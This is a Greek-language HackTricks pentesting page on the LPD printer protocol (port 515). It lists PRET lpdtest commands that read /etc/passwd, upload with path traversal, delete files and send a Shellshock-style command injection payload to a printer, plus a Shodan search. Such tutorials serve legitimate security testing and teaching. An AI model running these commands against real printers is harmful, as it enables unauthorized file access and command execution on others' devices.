hacktricks/src/network-services-pentesting/515-pentesting-line-printer-daemon-lpd.md

31 lines
3.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

{{#include ../banners/hacktricks-training.md}}
### **Εισαγωγή στο Πρωτόκολλο LPD**
Στη δεκαετία του 1980, το **πρωτόκολλο Line Printer Daemon (LPD)** αναπτύχθηκε στο Berkeley Unix, το οποίο αργότερα τυποποιήθηκε μέσω του RFC1179. Αυτό το πρωτόκολλο λειτουργεί μέσω της θύρας 515/tcp, επιτρέποντας αλληλεπιδράσεις μέσω της εντολής `lpr`. Η ουσία της εκτύπωσης μέσω LPD περιλαμβάνει την αποστολή ενός **αρχείου ελέγχου** (για να καθορίσει λεπτομέρειες εργασίας και χρήστη) μαζί με ένα **αρχείο δεδομένων** (το οποίο περιέχει τις πληροφορίες εκτύπωσης). Ενώ το αρχείο ελέγχου επιτρέπει την επιλογή **διαφορετικών μορφών αρχείων** για το αρχείο δεδομένων, η διαχείριση αυτών των αρχείων καθορίζεται από την συγκεκριμένη υλοποίηση LPD. Μια ευρέως αναγνωρισμένη υλοποίηση για συστήματα τύπου Unix είναι το **LPRng**. Αξιοσημείωτο είναι ότι το πρωτόκολλο LPD μπορεί να εκμεταλλευτεί για την εκτέλεση **κακόβουλου PostScript** ή **PJL print jobs**.
### **Εργαλεία για Αλληλεπίδραση με Εκτυπωτές LPD**
[**PRET**](https://github.com/RUB-NDS/PRET) εισάγει δύο βασικά εργαλεία, το `lpdprint` και το `lpdtest`, προσφέροντας μια απλή μέθοδο για αλληλεπίδραση με εκτυπωτές συμβατούς με LPD. Αυτά τα εργαλεία επιτρέπουν μια σειρά ενεργειών από την εκτύπωση δεδομένων μέχρι τη χειρισμό αρχείων στον εκτυπωτή, όπως η λήψη, η αποστολή ή η διαγραφή:
```python
# To print a file to an LPD printer
lpdprint.py hostname filename
# To get a file from the printer
lpdtest.py hostname get /etc/passwd
# To upload a file to the printer
lpdtest.py hostname put ../../etc/passwd
# To remove a file from the printer
lpdtest.py hostname rm /some/file/on/printer
# To execute a command injection on the printer
lpdtest.py hostname in '() {:;}; ping -c1 1.2.3.4'
# To send a mail through the printer
lpdtest.py hostname mail lpdtest@mailhost.local
```
Για άτομα που ενδιαφέρονται να εξερευνήσουν περαιτέρω τον τομέα του **printer hacking**, μια ολοκληρωμένη πηγή μπορεί να βρεθεί εδώ: [**Hacking Printers**](http://hacking-printers.net/wiki/index.php/Main_Page).
# Shodan
- `port 515`
{{#include ../banners/hacktricks-training.md}}